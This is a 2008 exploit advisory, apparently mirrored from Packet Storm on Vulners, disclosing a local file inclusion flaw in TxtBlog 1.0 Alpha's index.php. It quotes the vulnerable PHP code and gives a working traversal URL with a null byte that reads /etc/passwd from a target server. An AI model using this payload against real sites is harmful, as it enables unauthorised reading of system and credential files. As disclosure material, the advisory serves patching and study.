Lucene search
K

txtblog-lfi.txt

🗓️ 29 Nov 2008 00:00:00Reported by CWH UndergroundType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

TxtBlog Local File Inclusion Vulnerability in index.php m version 1.0 Alph

Code
`============================================================  
TxtBlog (index.php m) Local File Inclusion Vulnerability  
============================================================  
  
,--^----------,--------,-----,-------^--,  
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..  
`+---------------------------^----------|  
`\_,-------, _________________________|  
/ XXXXXX /`| /  
/ XXXXXX / `\ /  
/ XXXXXX /\______(  
/ XXXXXX /   
/ XXXXXX /  
(________(   
`------'  
  
  
AUTHOR : CWH Underground  
DATE : 27 November 2008  
SITE : cwh.citec.us  
  
  
#####################################################  
APPLICATION : TxtBlog  
VERSION : v.1.0 Alpha  
DOWNLOAD : http://downloads.sourceforge.net/txtblogcms/txtblogcms-1.0a.zip  
#####################################################  
  
--- Local File Inclusion ---  
  
-----------------------------  
Vulnerable File (index.php)  
-----------------------------  
  
function showMonth() {  
global $config_date_format, $txtblog_body, $txtblog_title, $config_title;  
  
$txtblog_body = "";  
$txtblog_title = "$config_title - Archives";  
  
$year = $_GET['y'];   
$month = $_GET['m'];   
  
$files = findFiles("data/$year/$month"); <<< BUG !!!!  
  
if (isset($files)) {  
foreach ($files as $file) {  
  
include ("data/$year/$month/$file"); <<< BUG !!!!  
$date_array = explode(" ",$date);  
$date = date($config_date_format, mktime($date_array[0], $date_array[1], $date_array[2], $date_array[3], $date_array[4], $date_array[5]));  
$txtblog_body .= "<span class='blog_title'>$title</span><br>\n<span class='blog_date'>$date</span><br>\n".bb2html($blog)."<br>\n<hr size='1'>\n";  
  
}  
}  
}  
  
---------  
Exploit  
---------  
  
[+] http://[Target]/[txtblogcms_path]/index.php?y=2005&m=01/../../../../../../../../etc/passwd%00  
  
  
#######################################################################################  
Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK  
Special Thx : asylu3, str0ke, citec.us, milw0rm.com  
#######################################################################################  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation